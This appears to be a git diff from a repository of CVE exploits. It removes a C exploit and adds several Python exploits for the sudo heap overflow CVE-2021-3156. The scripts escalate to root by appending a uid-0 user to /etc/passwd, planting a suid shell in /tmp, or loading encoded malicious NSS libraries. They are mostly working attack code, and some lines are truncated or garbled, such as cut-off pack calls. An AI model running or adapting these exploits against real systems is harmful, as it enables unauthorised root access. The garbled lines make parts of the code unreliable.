index 0000000000000000000000000000000000000000..a094917a6a90a947140110cffd31bb134f357738
Binary files /dev/null and b/cve/sudo/2021/CVE-2021-3156/exp.png differ
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit.c b/cve/sudo/2021/CVE-2021-3156/exploit.c
deleted file mode 100644
index 354632e0cab944cec8738366a63e1fd3ba725a1f..0000000000000000000000000000000000000000
--- a/cve/sudo/2021/CVE-2021-3156/exploit.c
+++ /dev/null
@@ -1,108 +0,0 @@
-#include // execve()
-#include // strcat()
-#include
-
-/* Exploit for CVE-2021-3156, drops a root shell.
- * All credit for original research: Qualys Research Team.
- * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
- *
- * Tested on Ubuntu 20.04 against sudo 1.8.31
- * Author: Max Kamper
- */
-
-
-
-int main(int argc, char * argv[]) {
-
- if(argc < 2){
- printf("Usage: %s \n",argv[0]);
- printf("[+]Refrence : @Qualys Research Team @Max Kamper \n");
- printf("[+]Modify by Rvn0xsy@ https://payloads.online\n");
- return 0;
- }
- char * input_command = argv[1];
- int nSize = strlen(input_command)+6;
-
- char * command = malloc(nSize);
- memset(command,0x00,nSize);
- sprintf(command,"test\n\n%s\n",input_command);
- // 'buf' size determines size of overflowing chunk.
- // This will allocate an 0xf0-sized chunk before the target service_user struct.
- int i;
- char buf[0xf0] = {0};
- memset(buf, 'Y', 0xe0);
- strcat(buf, "\\");
-
- char* sudoedit_argv[] = {
- "sudoedit",
- "-S",
- "-s",
- buf,
- NULL};
-
- // Use some LC_ vars for heap Feng-Shui.
- // This should allocate the target service_user struct in the path of the overflow.
- char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
- memset(messages + strlen(messages), 'A', 0xb8);
-
- char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
- memset(telephone + strlen(telephone), 'A', 0x28);
-
- char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
- memset(measurement + strlen(measurement), 'A', 0x28);
-
- // This environment variable will be copied onto the heap after the overflowing chunk.
- // Use it to bridge the gap between the overflow and the target service_user struct.
- char overflow[0x500] = {0};
- memset(overflow, 'X', 0x4cf);
- strcat(overflow, "\\");
-
- // Overwrite the 'files' service_user struct's name with the path of our shellcode library.
- // The backslashes write nulls which are needed to dodge a couple of crashes.
- char* envp[] = {
- overflow,
- "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
- "XXXXXXX\\",
- "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
- "\\", "\\", "\\", "\\", "\\", "\\", "\\",
- "x/x\\",
- "Z",
- messages,
- telephone,
- measurement,
- NULL};
-
- // Invoke sudoedit with our argv & envp.
-
- int des_p[2];
- if(pipe(des_p) == -1){
-
- puts("Error .. pipe \n");
- return -1;
- }
-
- if(fork() == 0) //first fork
- {
- close(STDOUT_FILENO); //closing stdout
- dup(des_p[1]); //replacing stdout with pipe write
- close(des_p[0]); //closing pipe read
- write(des_p[1],command, strlen(command));
- close(des_p[1]);
- exit(1);
- }
-
- if(fork()==0){
- close(STDIN_FILENO); //closing stdin
- dup(des_p[0]); //replacing stdin with pipe read
- close(des_p[1]); //closing pipe write
- close(des_p[0]);
-
- execve("/usr/bin/sudoedit", sudoedit_argv, envp);
- perror("execvp of stdread failed");
- exit(1);
- }
- close(des_p[0]);
- close(des_p[1]);
- wait(0);
- wait(0);
-}
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py b/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py
new file mode 100644
index 0000000000000000000000000000000000000000..70dfce6e707127dd3dc80389a993b396262bbec1
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_cent7_userspec.py
@@ -0,0 +1,193 @@
+#!/usr/bin/python
+'''
+Exploit for CVE-2021-3156 on CentOS 7 by sleepya
+
+Simplified version of exploit_userspec.py for easy understanding.
+- Remove all checking code
+- Fixed all offset (no auto finding)
+
+Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration
+
+Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing
+'''
+import os
+import sys
+import resource
+from struct import pack
+from ctypes import cdll, c_char_p, POINTER
+
+SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
+
+PASSWD_PATH = '/etc/passwd'
+APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
+
+#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
+STACK_ADDR_PAGE = 0x7fffe5d35000
+
+libc = cdll.LoadLibrary("libc.so.6")
+libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+def execve(filename, cargv, cenvp):
+ libc.execve(filename, cargv, cenvp)
+
+def spawn_raw(filename, cargv, cenvp):
+ pid = os.fork()
+ if pid:
+ # parent
+ _, exit_code = os.waitpid(pid, 0)
+ return exit_code
+ else:
+ # child
+ execve(filename, cargv, cenvp)
+ exit(0)
+
+def spawn(filename, argv, envp):
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(env))(*env)
+ return spawn_raw(filename, cargv, cenvp)
+
+
+resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
+
+# expect large hole for cmnd size is correct
+TARGET_CMND_SIZE = 0x1b50
+
+argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
+
+SA = STACK_ADDR_PAGE
+
+ADDR_REFSTR = pack('var chunk (get freed)
+ '\x21', '', '', '', '', '', '',
+ ADDR_PRIV[:6], '', # pointer to privilege
+ ADDR_CMND[:6], '', # pointer to cmndspec
+ ADDR_MEMBER[:6], '', # pointer to member
+
+ # fake def->binding (list head) (get freed)
+ '\x21', '', '', '', '', '', '',
+ '', '', '', '', '', '', '', '', # members.first
+ 'A'*0x10 + # members.last, pad
+
+ # userspec chunk (get freed)
+ '\x41', '', '', '', '', '', '', # chunk metadata
+ '', '', '', '', '', '', '', '', # entries.tqe_next
+ 'A'*8 + # entries.tqe_prev
+ '', '', '', '', '', '', '', '', # users.tqh_first
+ ADDR_MEMBER[:6]+'', '', # users.tqh_last
+ '', '', '', '', '', '', '', '', # privileges.tqh_first
+ ADDR_PRIV[:6]+'', '', # privileges.tqh_last
+ '', '', '', '', '', '', '', '', # comments.stqh_first
+
+ # member chunk
+ '\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
+ 'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
+ ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
+ 'A'*8 + # member.name (can be any because this object is not freed)
+ pack('prev->prev->next
+ "\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
+ ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
+ "A"*8 + # entries.tqe_prev
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
+ ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
+
+ "LC_ALL=C",
+ "SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
+ "TZ=:",
+]
+
+ENV_STACK_SIZE_MB = 4
+for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
+ env.extend(epage)
+
+# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
+env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
+
+env.append(None)
+
+cargv = (c_char_p * len(argv))(*argv)
+cenvp = (c_char_p * len(env))(*env)
+
+# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
+r, w = os.pipe()
+os.dup2(r, 0)
+w = os.fdopen(w, 'w')
+w.write(APPEND_CONTENT)
+w.close()
+
+null_fd = os.open('/dev/null', os.O_RDWR)
+os.dup2(null_fd, 2)
+
+for i in range(8192):
+ sys.stdout.write('%d\r' % i)
+ if i % 8 == 0:
+ sys.stdout.flush()
+ exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
+ if exit_code == 0:
+ print("success at %d" % i)
+ break
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py b/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py
new file mode 100644
index 0000000000000000000000000000000000000000..a5ee3a2476cdb56193939a9abe09111b15b96993
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_defaults_mailer.py
@@ -0,0 +1,424 @@
+#!/usr/bin/python
+'''
+Exploit for CVE-2021-3156 with struct defaults overwrite (mailer) by sleepya
+
+This exploit requires:
+- glibc without tcache
+- there is defaults line in /etc/sudoers (and at least one of them is allolcated after large hole)
+- disable-root-mailer is not set
+- /tmp is not mounted with nosuid (need modify SHELL_PATH)
+
+Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing
+
+Without glibc tcache, a heap layout rarely contains hole.
+The heap overflow vulnerability is triggered after parsing /etc/sudoers.
+The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec).
+
+In the end of set_cmnd() function, there is a call to update_defaults(SET_CMND) function.
+It is called update heap buffer overflow. So we can update def_* value by overwriting
+struct defatuls (need type=DEFAULTS_CMND and fake binding).
+
+Tested on:
+- CentOS 7 (1.8.23, 1.8.19p2)
+- CentOS 6 (1.8.6)
+'''
+import os
+import subprocess
+import sys
+import resource
+import select
+import signal
+import time
+from struct import pack
+from ctypes import cdll, c_char_p, POINTER
+
+SUDO_PATH = b"/usr/bin/sudo"
+
+SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
+SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
+PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed
+
+libc = cdll.LoadLibrary("libc.so.6")
+libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
+
+try:
+ SUID_PATH = os.environ["SUID_PATH"]
+ print("Using SUID_PATH = %s" % SUID_PATH)
+except:
+ pass
+
+def create_bin(bin_path):
+ if os.path.isfile(bin_path):
+ return # existed
+ try:
+ os.makedirs(bin_path[:bin_path.rfind('/')])
+ except:
+ pass
+
+ import base64, zlib
+ bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
+ with open(bin_path, 'wb') as f:
+ f.write(zlib.decompress(base64.b64decode(bin_b64)))
+
+def create_shell(path, suid_path):
+ with open(path, 'w') as f:
+ f.write('#!/bin/sh\n')
+ f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
+ f.write('/bin/chown root.root %s\n' % suid_path)
+ f.write('/bin/chmod 4755 %s\n' % suid_path)
+ os.chmod(path, 0o755)
+
+def execve(filename, cargv, cenvp):
+ libc.execve(filename, cargv, cenvp)
+
+def spawn_raw(filename, cargv, cenvp):
+ pid = os.fork()
+ if pid:
+ # parent
+ _, exit_code = os.waitpid(pid, 0)
+ return exit_code & 0xff7f # remove coredump flag
+ else:
+ # child
+ execve(filename, cargv, cenvp)
+ exit(0)
+
+def spawn(filename, argv, envp):
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(envp))(*envp)
+ # Note: error with backtrace is print to tty directly. cannot be piped or suppressd
+ r, w = os.pipe()
+ pid = os.fork()
+ if not pid:
+ # child
+ os.close(r)
+ os.dup2(w, 2)
+ execve(filename, cargv, cenvp)
+ exit(0)
+ # parent
+ os.close(w)
+ # might occur deadlock in heap. kill it if timeout and set exit_code as 6
+ # 0.5 second should be enough for execution
+ sr, _, _ = select.select([ r ], [], [], 0.5)
+ if not sr:
+ os.kill(pid, signal.SIGKILL)
+ _, exit_code = os.waitpid(pid, 0)
+ if not sr: # timeout, assume dead lock in heap
+ exit_code = 6
+
+ r = os.fdopen(r, 'r')
+ err = r.read()
+ r.close()
+ return exit_code & 0xff7f, err # remove coredump flag
+
+def has_askpass(err):
+ # 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
+ return 'sudoedit: no askpass program ' in err
+
+def has_not_permitted_C_option(err):
+ # 'sudoedit: you are not permitted to use the -C option'
+ return 'not permitted to use the -C option' in err
+
+def get_sudo_version():
+ proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
+ for line in proc.stdout:
+ line = line.strip()
+ if not line:
+ continue
+ if line.startswith('Sudo version '):
+ txt = line[13:].strip()
+ pos = txt.rfind('p')
+ if pos != -1:
+ txt = txt[:pos]
+ versions = list(map(int, txt.split('.')))
+ break
+
+ proc.wait()
+ return versions
+
+def check_sudo_version():
+ sudo_vers = get_sudo_version()
+ assert sudo_vers[0] == 1, "Unexpect sudo major version"
+ assert sudo_vers[1] == 8, "Unexpect sudo minor version"
+ return sudo_vers[2]
+
+def check_mailer_root():
+ if not os.access(SUDO_PATH, os.R_OK):
+ print("Cannot determine disble-root-mailer flag")
+ return True
+ return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1
+
+def find_cmnd_size():
+ argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
+ env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]
+
+ size_min, size_max = 0xc00, 0x2000
+ found_size = 0
+ while size_max - size_min > 0x10:
+ curr_size = (size_min + size_max) // 2
+ curr_size &= 0xfff0
+ print("\ncurr size: 0x%x" % curr_size)
+ argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ print("\nexit code: %d" % exit_code)
+ print(err)
+ if exit_code == 256 and has_askpass(err):
+ # need pass. no crash.
+ # fit or almost fit
+ if found_size:
+ found_size = curr_size
+ break
+ # maybe almost fit. try again
+ found_size = curr_size
+ size_min = curr_size
+ size_max = curr_size + 0x20
+ elif exit_code in (7, 11):
+ # segfault. too big
+ if found_size:
+ break
+ size_max = curr_size
+ else:
+ assert exit_code == 6
+ # heap corruption. too small
+ size_min = curr_size
+
+ if found_size:
+ return found_size
+ assert size_min == 0x2000 - 0x10
+ # old sudo version and file is in /etc/sudoers.d
+ print('has 2 holes. very large one is bad')
+
+ size_min, size_max = 0xc00, 0x2000
+ for step in (0x400, 0x100, 0x40, 0x10):
+ found = False
+ env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
+ for curr_size in range(size_min, size_max, step):
+ argv[-2] = b"A"*(curr_size-0x10)+b'\\'
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ print("\ncurr size: 0x%x" % curr_size)
+ print("\nexit code: %d" % exit_code)
+ print(err)
+ if exit_code in (7, 11):
+ size_min = curr_size
+ found = True
+ elif found:
+ print("\nsize_min: 0x%x" % size_min)
+ break
+ assert found, "Cannot find cmnd size"
+ size_max = size_min + step
+
+ # TODO: verify
+ return size_min
+
+def find_defaults_chunk(argv, env_prefix):
+ offset = 0
+ pos = len(env_prefix) - 1
+ env = env_prefix[:]
+ env.extend([ b"LC_ALL=C", b"TZ=:", None ])
+ # overflow until sudo crash without asking pass
+ # crash because of defaults.entries.next is overwritten
+ while True:
+ env[pos] += b'A'*0x10
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ print("\ncurr offset: 0x%x" % offset)
+ print("exit code: %d" % exit_code)
+ print(err)
+ # 7 bus error, 11 segfault
+ if exit_code in (7, 11) and not has_not_permitted_C_option(err):
+ # found it
+ env[pos] = env[pos][:-0x10]
+ break
+ offset += 0x10
+
+ # verify if it is defaults
+ env = env[:-3]
+ env[-1] += b'\x41\\' # defaults chunk size 0x40
+ env.extend([
+ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
+ (b'' if has_tailq else b'A'*8) + # prev if no tailq
+ b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
+ (b'A'*8 if has_tailq else b'') + # entries.prev
+ pack("binding (list head))
+ b'A'*8 + # chunk size
+ b'', b'', b'', b'', b'', b'', b'', b'', # members.first
+ ADDR_MEMBER_LAST[:6], b'', # members.last
+ b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
+ pack(' 1 else None
+ offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
+
+ if cmnd_size is None:
+ cmnd_size = find_cmnd_size()
+ print("found cmnd size: 0x%x" % cmnd_size)
+
+ argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
+
+ env_prefix = [ b'A'*(7+0x4010+0x110) ]
+
+ if offset_defaults is None:
+ offset_defaults = find_defaults_chunk(argv, env_prefix)
+ assert offset_defaults != -1
+
+ print('')
+ print("cmnd size: 0x%x" % cmnd_size)
+ print("offset to defaults: 0x%x" % offset_defaults)
+
+ argv = [ b"sudoedit", b"-A", b"-s", b"-C", b"1337", b"A"*(cmnd_size-0x10)+b"\\", None ]
+ env = create_env(offset_defaults)
+ run_until_success(argv, env)
+
+if __name__ == "__main__":
+ # global intialization
+ assert check_mailer_root(), "root mailer is disabled"
+ sudo_ver = check_sudo_version()
+ DEFAULTS_CMND = 269
+ if sudo_ver >= 15:
+ MATCH_ALL = 284
+ elif sudo_ver >= 13:
+ MATCH_ALL = 282
+ elif sudo_ver >= 7:
+ MATCH_ALL = 280
+ elif sudo_ver < 7:
+ MATCH_ALL = 279
+ DEFAULTS_CMND = 268
+
+ has_tailq = sudo_ver >= 9
+ has_file = sudo_ver >= 19 # has defaults.file pointer
+ main()
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss.py
new file mode 100644
index 0000000000000000000000000000000000000000..0b1d0f532a034b896ce463078b7a73d42d1f913d
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss.py
@@ -0,0 +1,261 @@
+#!/usr/bin/python3
+'''
+Exploit for CVE-2021-3156 with overwrite struct service_user by sleepya
+
+This exploit requires:
+- glibc with tcache
+- nscd service is not running
+
+Tested on:
+- Ubuntu 18.04
+- Ubuntu 20.04
+- Debian 10
+- CentOS 8
+'''
+import os
+import subprocess
+import sys
+from ctypes import cdll, c_char_p, POINTER, c_int, c_void_p
+
+SUDO_PATH = b"/usr/bin/sudo"
+
+libc = cdll.LoadLibrary("libc.so.6")
+
+# don't use LC_ALL (6). it override other LC_
+LC_CATS = [
+ b"LC_CTYPE", b"LC_NUMERIC", b"LC_TIME", b"LC_COLLATE", b"LC_MONETARY",
+ b"LC_MESSAGES", b"LC_ALL", b"LC_PAPER", b"LC_NAME", b"LC_ADDRESS",
+ b"LC_TELEPHONE", b"LC_MEASUREMENT", b"LC_IDENTIFICATION"
+]
+
+def check_is_vuln():
+ # below commands has no log because it is invalid argument for both patched and unpatched version
+ # patched version, error because of '-s' argument
+ # unpatched version, error because of '-A' argument but no SUDO_ASKPASS environment
+ r, w = os.pipe()
+ pid = os.fork()
+ if not pid:
+ # child
+ os.dup2(w, 2)
+ execve(SUDO_PATH, [ b"sudoedit", b"-s", b"-A", b"/aa", None ], [ None ])
+ exit(0)
+ # parent
+ os.close(w)
+ os.waitpid(pid, 0)
+ r = os.fdopen(r, 'r')
+ err = r.read()
+ r.close()
+
+ if "sudoedit: no askpass program specified, try setting SUDO_ASKPASS" in err:
+ return True
+ assert err.startswith('usage: ') or "invalid mode flags " in err, err
+ return False
+
+def create_libx(name):
+ so_path = 'libnss_'+name+'.so.2'
+ if os.path.isfile(so_path):
+ return # existed
+
+ so_dir = 'libnss_' + name.split('/')[0]
+ if not os.path.exists(so_dir):
+ os.makedirs(so_dir)
+
+ import zlib
+ import base64
+
+ libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
+ with open(so_path, 'wb') as f:
+ f.write(zlib.decompress(base64.b64decode(libx_b64)))
+ #os.chmod(so_path, 0o755)
+
+def check_nscd_condition():
+ if not os.path.exists('/var/run/nscd/socket'):
+ return True # no socket. no service
+
+ # try connect
+ import socket
+ sk = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+ try:
+ sk.connect('/var/run/nscd/socket')
+ except:
+ return True
+ else:
+ sk.close()
+
+ with open('/etc/nscd.conf', 'r') as f:
+ for line in f:
+ line = line.strip()
+ if not line.startswith('enable-cache'):
+ continue # comment
+ service, enable = line.split()[1:]
+ # in fact, if only passwd is enabled, exploit with this method is still possible (need test)
+ # I think no one enable passwd but disable group
+ if service == 'passwd' and enable == 'yes':
+ return False
+ # group MUST be disabled to exploit sudo with nss_load_library() trick
+ if service == 'group' and enable == 'yes':
+ return False
+
+ return True
+
+def get_libc_version():
+ output = subprocess.check_output(['ldd', '--version'], universal_newlines=True)
+ for line in output.split('\n'):
+ if line.startswith('ldd '):
+ ver_txt = line.rsplit(' ', 1)[1]
+ return list(map(int, ver_txt.split('.')))
+ return None
+
+def check_libc_version():
+ version = get_libc_version()
+ assert version, "Cannot detect libc version"
+ # this exploit only works which glibc tcache (added in 2.26)
+ return version[0] >= 2 and version[1] >= 26
+
+def check_libc_tcache():
+ libc.malloc.argtypes = (c_int,)
+ libc.malloc.restype = c_void_p
+ libc.free.argtypes = (c_void_p,)
+ # small bin or tcache
+ size1, size2 = 0xd0, 0xc0
+ mems = [0]*32
+ # consume all size2 chunks
+ for i in range(len(mems)):
+ mems[i] = libc.malloc(size2)
+
+ mem1 = libc.malloc(size1)
+ libc.free(mem1)
+ mem2 = libc.malloc(size2)
+ libc.free(mem2)
+ for addr in mems:
+ libc.free(addr)
+ return mem1 != mem2
+
+def get_service_user_idx():
+ '''Parse /etc/nsswitch.conf to find a group entry index
+ '''
+ idx = 0
+ found = False
+ with open('/etc/nsswitch.conf', 'r') as f:
+ for line in f:
+ if line.startswith('#'):
+ continue # comment
+ line = line.strip()
+ if not line:
+ continue # empty line
+ words = line.split()
+ if words[0] == 'group:':
+ found = True
+ break
+ for word in words[1:]:
+ if word[0] != '[':
+ idx += 1
+
+ assert found, '"group" database is not found. might be exploitable but no test'
+ return idx
+
+def get_extra_chunk_count(target_chunk_size):
+ # service_user are allocated by calling getpwuid()
+ # so we don't care allocation of chunk size 0x40 after getpwuid()
+ # there are many string that size can be varied
+ # here is the most common
+ chunk_cnt = 0
+
+ # get_user_info() -> get_user_groups() ->
+ gids = os.getgroups()
+ malloc_size = len("groups=") + len(gids) * 11
+ chunk_size = (malloc_size + 8 + 15) & 0xfffffff0 # minimum size is 0x20. don't care here
+ if chunk_size == target_chunk_size: chunk_cnt += 1
+
+ # host= (unlikely)
+ # get_user_info() -> sudo_gethostname()
+ import socket
+ malloc_size = len("host=") + len(socket.gethostname()) + 1
+ chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
+ if chunk_size == target_chunk_size: chunk_cnt += 1
+
+ # simply parse "networks=" from "ip addr" command output
+ # another workaround is bruteforcing with number of 0x70
+ # policy_open() -> format_plugin_settings() ->
+ # a value is created from "parse_args() -> get_net_ifs()" with very large buffer
+ try:
+ import ipaddress
+ except:
+ return chunk_cnt
+ cnt = 0
+ malloc_size = 0
+ proc = subprocess.Popen(['ip', 'addr'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
+ for line in proc.stdout:
+ line = line.strip()
+ if not line.startswith('inet'):
+ continue
+ if cnt < 2: # skip first 2 address (lo interface)
+ cnt += 1
+ continue;
+ addr = line.split(' ', 2)[1]
+ mask = str(ipaddress.ip_network(addr if sys.version_info >= (3,0,0) else addr.decode("UTF-8"), False).netmask)
+ malloc_size += addr.index('/') + 1 + len(mask)
+ cnt += 1
+ malloc_size += len("network_addrs=") + cnt - 3 + 1
+ chunk_size = (malloc_size + 8 + 15) & 0xfffffff0
+ if chunk_size == target_chunk_size: chunk_cnt += 1
+ proc.wait()
+
+ return chunk_cnt
+
+def execve(filename, argv, envp):
+ libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(envp))(*envp)
+
+ libc.execve(filename, cargv, cenvp)
+
+def lc_env(cat_id, chunk_len):
+ name = b"C.UTF-8@"
+ name = name.ljust(chunk_len - 0x18, b'Z')
+ return LC_CATS[cat_id]+b"="+name
+
+
+assert check_is_vuln(), "target is patched"
+assert check_libc_version(), "glibc is too old. The exploit is relied on glibc tcache feature. Need version >= 2.26"
+assert check_libc_tcache(), "glibc tcache is not found"
+assert check_nscd_condition(), "nscd service is running, exploit is impossible with this method"
+service_user_idx = get_service_user_idx()
+assert service_user_idx < 9, '"group" db in nsswitch.conf is too far, idx: %d' % service_user_idx
+create_libx("X/X1234")
+
+# Note: actions[5] can be any value. library and known MUST be NULL
+FAKE_USER_SERVICE_PART = [ b"\\" ] * 0x18 + [ b"X/X1234\\" ]
+
+TARGET_OFFSET_START = 0x780
+FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART*30
+FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last '\\'. stop overwritten
+
+CHUNK_CMND_SIZE = 0xf0
+
+# Allow custom extra_chunk_cnt incase unexpected allocation
+# Note: this step should be no need when CHUNK_CMND_SIZE is 0xf0
+extra_chunk_cnt = get_extra_chunk_count(CHUNK_CMND_SIZE) if len(sys.argv) < 2 else int(sys.argv[1])
+
+argv = [ b"sudoedit", b"-A", b"-s", b"A"*(CHUNK_CMND_SIZE-0x10)+b"\\", None ]
+env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
+# first 2 chunks are fixed. chunk40 (target service_user) is overwritten from overflown cmnd (in get_cmnd)
+env.extend([ lc_env(0, 0x40)+b";A=", lc_env(1, CHUNK_CMND_SIZE) ])
+
+# add free chunks that created before target service_user
+for i in range(2, service_user_idx+2):
+ # skip LC_ALL (6)
+ env.append(lc_env(i if i < 6 else i+1, 0x40))
+if service_user_idx == 0:
+ env.append(lc_env(2, 0x20)) # for filling hole
+
+for i in range(11, 11-extra_chunk_cnt, -1):
+ env.append(lc_env(i, CHUNK_CMND_SIZE))
+
+env.append(lc_env(12, 0x90)) # for filling holes from freed file buffer
+env.append(b"TZ=:") # shortcut tzset function
+# don't put "SUDO_ASKPASS" environment. sudo will fail without logging if no segfault
+env.append(None)
+
+execve(SUDO_PATH, argv, env)
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py
new file mode 100644
index 0000000000000000000000000000000000000000..07811ae97499d5481a8973816ec6d15483712500
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_d9.py
@@ -0,0 +1,102 @@
+#!/usr/bin/python
+'''
+Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya
+
+This exploit requires:
+- glibc without tcache
+- nscd service is not running
+- only defaults /etc/nsswitch.conf (need adjust LC_* if changed)
+
+Below is important struct that MUST be carefully overwritten
+- Fake service_user before name_database_entry
+- Overwrite only least significant byte of name_database_entry->service to NULL. a servive
+ pointer point to fake service in overwritten area.
+
+Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much.
+
+Tested on:
+- Debian 9.13
+'''
+import os
+
+SUDO_PATH = b"/usr/bin/sudo"
+
+def execve(filename, argv, envp):
+ from ctypes import cdll, c_char_p, POINTER
+
+ libc = cdll.LoadLibrary("libc.so.6")
+ libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(env))(*envp)
+
+ libc.execve(filename, cargv, cenvp)
+
+def create_libx(name):
+ so_path = 'libnss_'+name+'.so.2'
+ if os.path.isfile(so_path):
+ return # existed
+
+ so_dir = 'libnss_' + name.split('/')[0]
+ if not os.path.exists(so_dir):
+ os.makedirs(so_dir)
+
+ import zlib
+ import base64
+
+ libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
+ with open(so_path, 'wb') as f:
+ f.write(zlib.decompress(base64.b64decode(libx_b64)))
+
+def check_nsswitch():
+ idx = 0
+ found_passwd = False
+ with open('/etc/nsswitch.conf', 'r') as f:
+ for line in f:
+ if line.startswith('#'):
+ continue # comment
+ line = line.strip()
+ if not line:
+ continue # empty line
+ words = line.split()
+ cnt = 0
+ for word in words[1:]:
+ if word[0] != '[':
+ cnt += 1
+ if words[0] == 'group:':
+ if not found_passwd:
+ return False
+ return cnt == 1
+ if words[0] == 'passwd:':
+ if cnt != 1:
+ return False
+ found_passwd = True
+ # TODO: should check all line because they might affect offset
+
+ return False
+
+assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong'
+create_libx("X/X1234")
+
+TARGET_CMND_SIZE = 0x30
+
